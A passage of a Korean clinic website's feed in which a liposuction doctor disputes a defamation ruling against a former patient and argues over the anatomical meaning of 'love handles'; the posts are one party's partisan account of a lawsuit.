것은 절대 믿을 수 없으므로 함부로 블랙병원으로 몰아가면 안되는 것입니다.&lt;/strong&gt;&amp;nbsp; 초등학생이 고등학생 미적분을 누가 더 잘하는지 판정할 수 없듯이 일반인은 누가 더 잘하는 의사인지 평가할 수 없습니다. 우리나라처럼 전국민 단일의료보험제도를 유지하고 의료수가가 동일한 환경에서는 의료기관간의 우열평가가 필요 없지만 굳이 병원간 평가를 하자면, 전문가가 많은 데이터를 모아 통계적으로 비교 분석하는 방법으로만 병원간 우열을 가릴수가 있는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;사람마다 장단점이 있듯이 병원들도 각각 특성이 있고 잘 하는 수술이 있으며 장단점이 있기 때문에 환자 개인적인 만족감으로 병원간 우열을 구분하고 판정할 수는 없습니다&lt;/strong&gt;. 의학적인 지식이 부족한 환자입장에서 의학적인 분야에서 표현할 수 있는 정도의 수술경험담은 의료법에 명시된 대로 로그인 한 상태로&amp;nbsp; &amp;ldquo;수술을 받고 나서 통증은 어디가 있었고, 몇일째에 붓기나 멍이 있었고, 불편한 점은 이런점이 있었다&amp;ldquo;라는 자신의 경험적인 내용으로 한정되어야 합니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고처럼 병원간 비교나 악평을 하는 것은 의료법상 불법이기도 하지만 앞서 말씀드린 대로 객관적인 의료지식이 부족한 일반인이 판단한&amp;nbsp;허위사실로서 이를 신뢰할 수 없고, 이해충돌이 있는 주관적인 의견일 뿐이니, 블로그나 네이버 지식인 처럼 대중에게 공개되는 장소에서 일반인이 특정병원의 의사를 비방하는 내용의 수술 경험담은 의료광고 영역이며 다른 사람들의 의료기관 선택권을 방해하므로&amp;nbsp;의료법으로 금지하고 있는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3&gt;3.우리나라는&amp;nbsp; 사적인 복수와 처벌이&amp;nbsp;금지되어 있습니다.&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 윤리의식 없는 의사의 퇴출을 위해&amp;nbsp; 아래와 같이 기록했습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;&amp;rdquo; &amp;lsquo;나 같은 피해자를 막자, 한 사람 한 사람 인생이 소중하기에 언제까지 부족한 실력으로 한 사람의 인생과 한 사람의 신체를 망가트리는 돈벌이에 급급한 의사들을 내버려 둘수 없기에...&amp;ldquo;&amp;nbsp;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 15년을 지방흡입 수술을 하며 병원을 운영하고 있는 의사이므로, 피고가 생각하고 있는 것처럼 원고가 부족한 실력으로 환자에게 피해를 입히는 의사로서 퇴출되어야 한다면 우리나라에 지방흡입 의사들이 몇명 남지 않을 것으로 생각합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아무튼&amp;nbsp;원고는&amp;nbsp;정부에게 의사&amp;nbsp;자격증을 부여 받아 의료행위만&amp;nbsp;25년을&amp;nbsp;해오고 있는데, 피고가 원고의 실력이 부족하니&amp;nbsp;퇴출시키는 운동을 하는 것은&amp;nbsp;그것은 피고가 사적인 처벌행위를&amp;nbsp;하는 것이며,&amp;nbsp;국가의 자격증을 부인하는 행동입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;폭행상해죄가 피해자에게 물리적인 피해를 주어 정상적인 활동에 제한이 생기는 반면 명예훼손죄는 피해자에게 정신적인 피해를 주어 피해자가 정상적인 직업수행과 일상적인 생활을 하지 못하도록 합니다. 원고는 피고의 행위로 인해 2017년 1월부터 2019년 6월까지 여러사람들에게 망신을 당하면서 영업적인 손실을 입었으며, 2020.12월 이번 판결로 인해 정신적인 충격을 받아 의사로서 일상적인 업무 수행을 하지 못하고 있습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://namu.wiki/w/%EC%A1%B0%EC%84%B8%ED%98%95(%EB%B2%94%EC%A3%84%EC%9E%90)&quot; target=&quot;_blank&quot;&gt;대도 조세형&lt;/a&gt;은 자신은 부잣집만 털었다고 주장하였고, 일본에서 도둑질은 일본의 보안시스템을 점검하기 위해서 도둑질 했다고 주장했습니다. 피고도 원고를 타켓으로 게시글을 작성하여 명예훼손을 하였는데, 조세형과 비슷한 방식으로 &amp;#39;윤리의식 없는 의사&amp;#39;을 퇴출하기 위해서 그랬다고 주장하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 &amp;#39;윤리의식&amp;#39;이 없는 의사를 퇴출시킨다는 명목으로 인터넷상에 허위글을 게제하여 원고의 명예를 실추시키고, 신뢰를&amp;nbsp;손상하여 결국 원고의 명업을 방해하여&amp;nbsp;수술비를 반환 받으려고 했습니다. 그러나&amp;nbsp;막상 원고가&amp;nbsp;피해에 대해 보상을 요구하는 소송을 제기하자&amp;nbsp;피고는 자신의 온라인 명예훼손 게시글이&amp;nbsp;원고의 손해에 대해서는&amp;nbsp;인과관계가 없음으로 변상할 책임이 없다고 주장 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러나 도둑은 도둑일 뿐이고, 상해폭행범은 상해폭행범이지 그 이상도 그 이하도 아닙니다. 피고는 명백하게 의료법을 위반하여 허위사실로 병원간 비교하는 비방광고를 하여 의료법을 위반한 범죄자이었습니다만 판사는 일부 허위사실이 있으나 일반인으로서는 의학을 잘 알 수 없는 부분이 있고, 게제내용이 사실이라 믿었으며,&amp;nbsp; 공익을 위한 행위이므로 면책된다고 하였습니다. &lt;strong&gt;이는 불법의료행위를 한 범죄자에게 일반인이&amp;nbsp;잘몰라서 한 행동으로&amp;nbsp;면책된다고 판결하는 것과 같은 맥락입니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;사적인 복수를 위한 폭행범이 공공에 이익이 되는 행위를 했다는 이유로 쉽게 면책&amp;nbsp;될 수는 없습니다. 만일 범죄행위가&amp;nbsp;면책되려면, 그 범죄를 면책할 정도로 구체적인 공공의 이익이 충분하게 크고,&amp;nbsp;사적인 이해충돌은&amp;nbsp;없어야 하는 조건이 충족되어야&amp;nbsp;한다고 생각합니다. &lt;strong&gt;피고가 작성한 게시글의 주된 취지는&amp;nbsp;&amp;#39;원고가 돈만 받고 옆구리에 수술을 하지 않았다 사기당했다&amp;#39; 라는 것으로서&amp;nbsp;이러한 내용은 사기죄에 대한 피의사실이며&amp;nbsp;일반 대중에게 공개되어서는 안되는 내용이었습니다. 그러나 판사는 이러한 내용의 게시글이&amp;nbsp;지방흡입을 원하는 사람에게는 좋은 정보가 될수 있다고 하였습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 인터넷상에 원고가 확인한 것만 100개가 넘는 게시글을 작성하여 정의의 사도처럼&amp;nbsp;행세하며&amp;nbsp;원고를&amp;nbsp;퇴출시키는데 적극 앞장 섰습니다. 피고가 게제한 게시글의 내용은 대부분 허위사실로 가중처벌 받아야 할 사안이었습니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;단도 직입적으로 말씀드리면 판사는 &lt;u&gt;&amp;quot;원고가 돈만 받고 옆구리(러브핸들)에 수술을 하지 않았으니 원고는 피고에게 맞아도 싸다&amp;quot;&lt;/u&gt; 라고 판결한 것입니다. 피고가 정말로 그렇게 생각한다면 증거를 취합하여 원고를 민형사고소를 하는 것이 합법적인 행위이고, 정의의 사도처럼 인터넷을 통헤 원고에 모욕을 주고 영업을 방해하여 윤리의식이 없는 원고를 퇴출 시키려는 행위는, 타인을&amp;nbsp;비방하는 방법으로 사적인 이익을 구하려한 위법한 범죄행위입니다.&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;판사가 폭행행위같은 위법행위을 면책한다면 그것은 마녀사냥입니다. 그 누구도 범죄를 저지른 정의의 사도가 될 수 없으며, 피의사실을 공개하고 다른 사람을 사사로이&amp;nbsp;벌할 수 있는 권한은 없습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3&gt;4. 2019나14194호 판결에 대한 결론&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;국회는 법을 만들고 사법부는 그 법을 통해 위법성을 가려 범죄유무를 판결합니다. 그런데 판사가 법을 무시하고 정치인처럼 판단하는 것은 심각한 사법 오류가 아닐수 없습니다. 일반인이 의료 전문가이자 공공업무를 수행하는 의사를 평가하여 홍보및 비방광고를 하는 행위는 의료법상 위법하며, 그 결과도 신뢰할 수 없기에 부적절 합니다. 또한&amp;nbsp;피고가 게제했던 의사의 명예를 훼손하는 주된 내용도&amp;nbsp;&amp;#39;돈만 받고 수술을 하지 않았다 사기를 당했다&amp;#39;는 개인의 사기죄에 관한 피의사실임으로, 결국 피고의 게시글이 공공의 이익이 된다는 판사의 판결은 궤변에 불과합니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이번 판결로 인해&amp;nbsp;&lt;strong&gt;첫째,&lt;/strong&gt;&amp;nbsp;환자가 블로그 처럼 공개된 장소에 수술 경험담을 작성하고&amp;nbsp;병원의 이름과 위치를 알리며 특정병원에 대한 홍보와 함께 비방광고를 하더라도 의료법 위반으로 처벌을 받지 않으며&amp;nbsp;&lt;strong&gt;둘째,&lt;/strong&gt;&amp;nbsp;의사의&amp;nbsp;명예를 훼손하는 인터넷 게시글은&amp;nbsp;일부 허위내용으로 피의사실을&amp;nbsp;공개 하여 특정병원의 명예와 신뢰를 훼손하고&amp;nbsp;영업을 방해하는 방법으로, 수술비 반환을 요구하는 사적인 구제를 시도하더라도, 수술을 원하는 사람들에게는 중요한 정보가 되어&amp;nbsp;공공의 이익이 되므로&amp;nbsp;면책돤다는, 결국&amp;nbsp;&amp;#39;&lt;strong&gt;의사&amp;nbsp;마녀 사냥에 관한 판례&lt;/strong&gt;&amp;#39;가 만들어 졌습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;u&gt;이제 환자는 수술후에 의사을 비방하여 한몫 챙길수 있는 꽃놀이 패가 생겼으니 이를 이용하지 않는 사람은 바보가 되는 상황이 되었습니다.&lt;/u&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;마녀사냥처럼 타인에 대한 폭행이 공공의 이익이 될수 있어서 면책이 되고, 허위의 피의사실을 게제하는 표현의 자유가 개인의 생존권과 인격권보다 우선한다는 사실이 경악스럽습니다. 민사소송에서 &amp;#39;원고는 잘못 했으니 맞아 죽어도 된다 피고는 모르고 그랬으니 책임이 없다&amp;#39;는 식으로 피해자보다&amp;nbsp; 가해자가 우선시되는 판결을&amp;nbsp;이해 할 수가 없습니다. &lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;피고는 원고가 돈만받고 수술을 안했다고만 항의하고 정작 원고의 초음파검사는&amp;nbsp;회피했습니다. 원고가 닥터 칼럼에 설명하며, 허위사실 유포를 하지 말라고 네이버등에 명예훼손 글로 신고하여&amp;nbsp;게제중지를 요청하고, 형사고소까지 했음에도 피고는 2년 6개월동안이나 게시글을&amp;nbsp;유지하여 영업방해를 했던 사람 이었습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;여러분~~ 피고가 윤리의식이 없는 의사의 처단에 앞장선 정의의 사도인지, 15년을 지방흡입 수술을 하며 병원을 운영하고 있는 의사의 등을 쳤던 공갈협박범인지 잘 판단해 주시길 바랍니다. 판사는 피고 손을 들어주었으며&amp;nbsp; 피고는 원고가 &amp;quot;옆구리(러브핸들)&amp;quot;에 수술을 하지 않은 의사로 비방을 하였는데 판사는 원고가 돈만 받고 &amp;quot;허리&amp;quot;를&amp;nbsp;수술하지 않은 의사로 판결하여, 원고는 참으로 억울하고 착찹합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;519736&quot;&gt;판사는 &amp;quot;러브핸들&amp;quot;을 &amp;quot;허리&amp;quot;라고 부르며 &amp;quot;허리&amp;quot;를 수술하지 않았다고 판결했습니다.&lt;/a&gt;&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;519944&quot;&gt;우리나라 판사가 정한 러브핸들의 정의와 위치에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;피고는 2년 6게월동안 네이버와 다음, 카카오톡에서 &amp;#39;비너스의원&amp;#39;을 검색하면 나오는 검색페이지나 평가글에 악평을 하여 원고의 영업을 방해하였습니다. 이는 피고가&amp;nbsp;2년이 넘는 기간동안 밤낮없이&amp;nbsp;원고 병원 출입구에서 &amp;#39;돈만 받고 러브핸들을&amp;nbsp;수술하지 않았다&amp;#39;라는 등등 악평하여 원고 병원에서 상담과 수술을&amp;nbsp;막아 영업을 방해하는 경우와 다름이 없었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그럼에도 불구하고 원고는 피고에게 패소하여 손해를 보상받지도 못하고 오히려 소송비용을 내줘야하는 상황므로, 원고는 어쩔 수 없이 민사소송을 했는데 설상가상으로 더 큰 피해를 받은 셈입니다. 원고의 잘못이라면 피고같은 블랙환자를 수술한 것하고, 수술비 환불을 거부한 것, 그리고 피고의 명예훼손 글로 인해 형사고소와 원고의 피해에 대해 손해배상청구소송을 한 것인데, 그 댓가 치고는 시간적, 정신적, 금전적 피해가 너무 큽니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;원고는 이번 경험으로&amp;nbsp;&lt;u&gt;앞으로 블랙환자가 악평을 하여 영업방해를 한다 하더라도 원고는&amp;nbsp;법적인 테두리 안에서 이를 막을 수 있는 합법적인&amp;nbsp;수단이&amp;nbsp;없다는 점을 알게 되었고, 다른&amp;nbsp;사람들에게&amp;nbsp;이러한 사실을 알려야&amp;nbsp;할 필요성도&amp;nbsp;느꼈습니다.&lt;/u&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-success&quot;&gt; &lt;p&gt;&amp;#39;저를 믿어 주세요 안전하고 편안하고 최고의 결과가 나오도록 최선을 다하겠습니다&amp;#39; 라는 말은 원고가 수술을 앞두고 불안해 하고 초초해 하는&amp;nbsp;환자에게 매번 하는 말입니다. 그러나 이제부타 돈만 받고 수술을 하지 않은&amp;nbsp;의사가&amp;nbsp;어떻게 소중한 생명을 믿고 맡겨달라고 말할 수&amp;nbsp;있겠습니까?&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러므로 이 사건에서 판사의 판결이 정당하다고 생각하시는 분은 제발 저희 병원에 오지 마십시오! 수술이 마음에 안들면 악평을 준비하고 있는 분 절대&amp;nbsp;사양하겠습니다. 저는 완벽한 결과를 낼 수 있는 완벽한 의사가 아닙니다. 수술결과에 대해서 고의성이 없음에도 저에게 책임을 물으실 의향이라면 정중하게 사양하겠습니다.&lt;/p&gt; &lt;p&gt;&lt;br /&gt; 대신 저를 믿고 지시에 잘 따라주며, 수술 결과에 대해서도 믿어 준다면 최선을 다해 모시겠습니다. 나중에 판사가 아닌 여러분들의 선택으로 병원의 경영이 힘들어 지고 망하게 되면 그 때는 의사를 그만 두겠습니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;어떤 사람이 갑자기 달려 들어 당신에게 주먹질하였습니다. 아니라고 하고, 아무리 설명을 해도, 제3자에게 확인해 보자고 해도 막무가내로&amp;nbsp;당신을 때렸습니다. 이쯤되면 폭행에 고의성이 있다고 해야 하지 않을까요? 결국&amp;nbsp;당신은 심각한 상해를 입었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그런데&lt;strong&gt; 판사가 상대방이&amp;nbsp;잘 모르고 오해해서&amp;nbsp;때렸고 공익에 도움이 되니&amp;nbsp;당신의 피해에 대해 변상할 책임이 없다고 판결하였다면 이해할 수 있겠습니까? 타인을 폭행하는 것이, 허위사실이&amp;nbsp;과연 공익이 될수 있을까요? 의사가 아닌 일반인이 의학에 관한 내용으로 공개된 장소에&amp;nbsp;경험담을 작성하는 것은 진실이 될 수 없으며, 마치 다수의 사람들에게 무면허 수술을&amp;nbsp;하는 것과 같은&amp;nbsp;행위로서&amp;nbsp;의료법을 위반한 행위는&amp;nbsp;공익이 될 수 없습니다!&amp;nbsp; &lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;공익을 위한다는 명목으로 일반인이 의사를&amp;nbsp;폭행하는 행위를&amp;nbsp;묵인하는 판결은&amp;nbsp;마녀사냥과 다름이 없고, 홍위병을 앞세운 공산당의 인민재판과 다름이 없습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://drive.google.com/file/d/1NrzbTf8nRTx4ZfcnInt48O4cVSLTiShP/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;2019나14194호 판결문 보기&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt;</content>			</entry><entry>
		<title>우리나라 판사가 정한 러브핸들의 위치와 정의</title>
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		<published>2021-01-07T02:30:35+09:00</published>
		<updated>2021-10-07T06:31:56+09:00</updated>
		<author>
			<name>mwjygrf</name>
		</author>
		<summary type="text">우리나라 판사가 정한 러브핸들의 정의와 위치에 대하여 일단 러브핸들(love handles)에 대한 기존의 정의에 대해 말씀드리고 이번 2019나14194호 판결에서 판사가 정한 러브핸들에 대해 말씀드리겠습니다. [참고자료] 판사는 &quot;러브핸들&quot;을 &quot;허리&quot;라고 부르며 &quot;허리&quot;를 수술하지 않았다고 판결했습니다. 러브핸들에 대한 용어에 대하여 의료법을 위반한 범죄행위가 공익에 도움이 되는가? 1. 원래 ”러브핸들“의 의미. 아래는 위키피...</summary>
	<content type="html">&lt;h3 class=&quot;page-header&quot;&gt;우리나라 판사가 정한 러브핸들의 정의와 위치에 대하여&lt;/h3&gt; &lt;p&gt;일단 러브핸들(love handles)에 대한 기존의 정의에 대해 말씀드리고 이번 2019나14194호 판결에서 판사가 정한 러브핸들에 대해 말씀드리겠습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[참고자료]&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;519736&quot;&gt;판사는 &amp;quot;러브핸들&amp;quot;을 &amp;quot;허리&amp;quot;라고 부르며 &amp;quot;허리&amp;quot;를 수술하지 않았다고 판결했습니다.&lt;/a&gt;&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;489646&quot;&gt;러브핸들에 대한 용어에 대하여&lt;/a&gt;&lt;br /&gt; &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;520081&quot;&gt;의료법을 위반한&amp;nbsp;범죄행위가 공익에 도움이 되는가?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;1. 원래 &amp;rdquo;러브핸들&amp;ldquo;의&amp;nbsp;의미.&lt;/span&gt;&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래는 위키피디아에 나오는 &amp;quot;러브핸들&amp;quot;에 대한 설명입니다(https://en.wikipedia.org/wiki/Love_handles).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;&amp;quot;Love handles&amp;quot; is an informal term for the sides of deposits of excess fat at the side of one&amp;#39;s waistline(&amp;quot;러브핸들&amp;quot;은 사람의 허리라인 측면, 즉 옆구리에서 과도하게 축적된 지방을 일컬는 비공식적인 용어이다)&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&lt;img alt=&quot;What-causes-love-handles-problem.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/116/736/519/92cf5283369cf54e5c22a709ddeaf0c2.jpg&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&amp;lt;러브핸들을 잡고 있는 모습 출처:https://shop4fun.online/best-waist-trainer-for-love-handles/&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;여기서 허리라인(waistline)은 옷의 상부와 하부사이를 구분하는 선이며(Waistline refer to the line of demarcation between the upper and lower portions of a garment), 허리(waist)는 갈비뼈와 힙 즉, 골반 사이에서 사람의 몸통에서 가는 부위를 말합니다(Waist refer to the narrow point of the human body between the ribcage and hips).&amp;nbsp;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;따라서 &amp;quot;허리&amp;quot;는 &amp;quot;허리가 가늘다&amp;quot;라는 표현으로 쓰는 것이지 등을 의미하는 &amp;quot;허리가 아프다&amp;quot;라는 표현은 잘못된 것으로 &amp;quot;등이 아프다&amp;quot;라고 써야 합니다. 우리가 영어로 된 책을 읽을때 이해하기 위해서는 그 의미를 정확하게 이해해야 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&lt;img alt=&quot;2560px-Waist.svg.png&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/116/736/519/e9789a0b0205751c25509afce9e7cab9.png&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&amp;lt;위키피디아에서 Waistline(허리라인)을 설명하는 그림&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;일반적으로 여성의 몸매를 이야기 하면서 34, 24, 34로 부를때 이는 가슴(bust)/허리(waist)/힙(hip) 둘레를 의미하며, 혹자는 허리/힙 둘레의 비율(Waist/ Hip ratio)이 0.7일 때 가장 아름다운 몸매라고도 합니다.&lt;br /&gt; &lt;br /&gt; &lt;strong&gt;그러므로 1심과 2심이 러브핸들을 이 사건 &amp;lsquo;허리&amp;rsquo;부위라고 명명한 것은 일반적인 상식에 반하는 판단입니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&lt;img alt=&quot;chart-body.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/116/736/519/bd9e9077415ae19188c3651ee9524c89.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&amp;lt;가슴, 허리, 힙의 둘레 출처: https://leonardodalmagro.com/how-to-get-your-body-measurements/&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;또한 &lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt;&lt;a href=&quot;https://onlineslangdictionary.com/meaning-definition-of/love-handle&quot;&gt;온라인 속어 사진 사이트&lt;/a&gt;에서 검색해 보면 &amp;#39;subcutaneous fat deposits on the external oblique muscles of the abdomen - i.e. fat on one&amp;#39;s sides.&amp;#39; 라고 되어 있습니다. 한국어로 해석해보면 &amp;#39;복부의 외사근 위에 축적된 피하지방. 즉 사람의 측면에 있는 지방&amp;#39; 이라고 해석이 됩니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;한편 지방흡입 관련 서적에도 러브핸들은 &amp;quot;Liposuction of the flanks, or love handles, in young men is a consistently rewarding procedure.&amp;quot; 라고 나와 있어서 옆구리와 러브핸들은 동일한 부위로 지방흡입의 효과가 좋은 곳으로 설명하고&amp;nbsp;있습니다.[Hanke CW, Safety of liposuction. In:Narins RS, eds. Safe liposuction and Fat transfer. New York: Marcel Dekker, 2003:291]&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;또한 원고는 대한의사협회에 감정 신청을 하여 러브핸들에 대한 의미를 질의를 하였는데 &amp;ldquo;러브핸들은 몸의 허리라인을 망가뜨리는 옆으로 삐죽삐죽 튀어나온 옆구리 살&amp;rdquo;이라는 답변을 받았습니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&lt;img alt=&quot;photodune-4184068-woman-pinching-fat-from-her-waist-xs-562x330.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/116/736/519/ab5f2964f6b9c671bfc77e9960539b6d.jpg&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&amp;lt;러브핸들을 잡은 모습 출처:https://www.fitness19.com/love-handle-and-muffin-top-melting-exercises/&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;참고로 힙(hips)는 여성이 양쪽 허리에 손을 얹고 서있을 때 닿는 부위이고, 엉덩이(buttocks)은 엎드려서 볼기살 맞을 때 닿는 부위로 지방흡입을 수술하는 의사는 신체부위를 명명하는 용어의 위치를 명확하게 알고 있어야 합니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;한편 미국의 성형외과 의사 Tattelbaum(타텔바움)은 아래처럼 몸통의 측면 측, 전측 옆구리(frontal flank)를 &amp;lsquo;러브핸들&amp;lsquo;이라고 부르며 등쪽으로 확장된 부위를 &amp;lsquo;뒷구리(posterior flank)&amp;rsquo;라고 부르면서 두 부분을 서로 다른 부위로 구분하고 있습니다(출처: https://bit.ly/37MATLf).&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;bs-callout bs-callout-info&quot;&gt; &lt;p&gt;① 전측 옆구리는 러브핸들이라고 부르며 몸통의 측면 부분에 잡히는 부분을 의미하며, 전측복부의 수술과 동시에 하는 경우 효과가 좋으며 누운 자세로 수술을 한다.&lt;br /&gt; ② 후측 옆구리(뒷구리)는 러브핸들이 등쪽으로 확장된 부분을 말하며 엎드린 자세에서 수술을 한다.&lt;br /&gt; ③ 모든 사람들에게 뒷구리의 지방흡입이 필요한 것은 아니지만 뒷구리의 지방흡입은 허리의 외곽선을 만들고 허리 둘레의 감소를 만든다.&lt;br /&gt; ④ 수술방법은 일단 엎드린 자세에서 뒷구리 지방흡입을 하고나서, 바로 누운 자세를 취하게 한 다음 전측복부와 정면 옆구리(러브핸들)에 대한 수술을 한다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;img alt=&quot;posterir-flank1.jpg&quot; src=&quot;https://myvenus.co.kr/./files/attach/images/251145/944/519/8aaeed3e52becefe8c4100e1637a0adf.jpg&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center&quot;&gt;&amp;lt;뒷구리(posterior flank)를 잡은 모습&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래는 블로그 내용 전문입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;highlight&quot;&gt; &lt;p&gt;&lt;strong&gt;What is Posterior Flank Liposuction?&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Many of you know that I perform frontal flank liposuction on most of my tummy tucks. For those that need liposuction in this area it gives more curve and contour to the hips, and in my opinion, makes the tummy tuck look more streamlined and sexy.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; 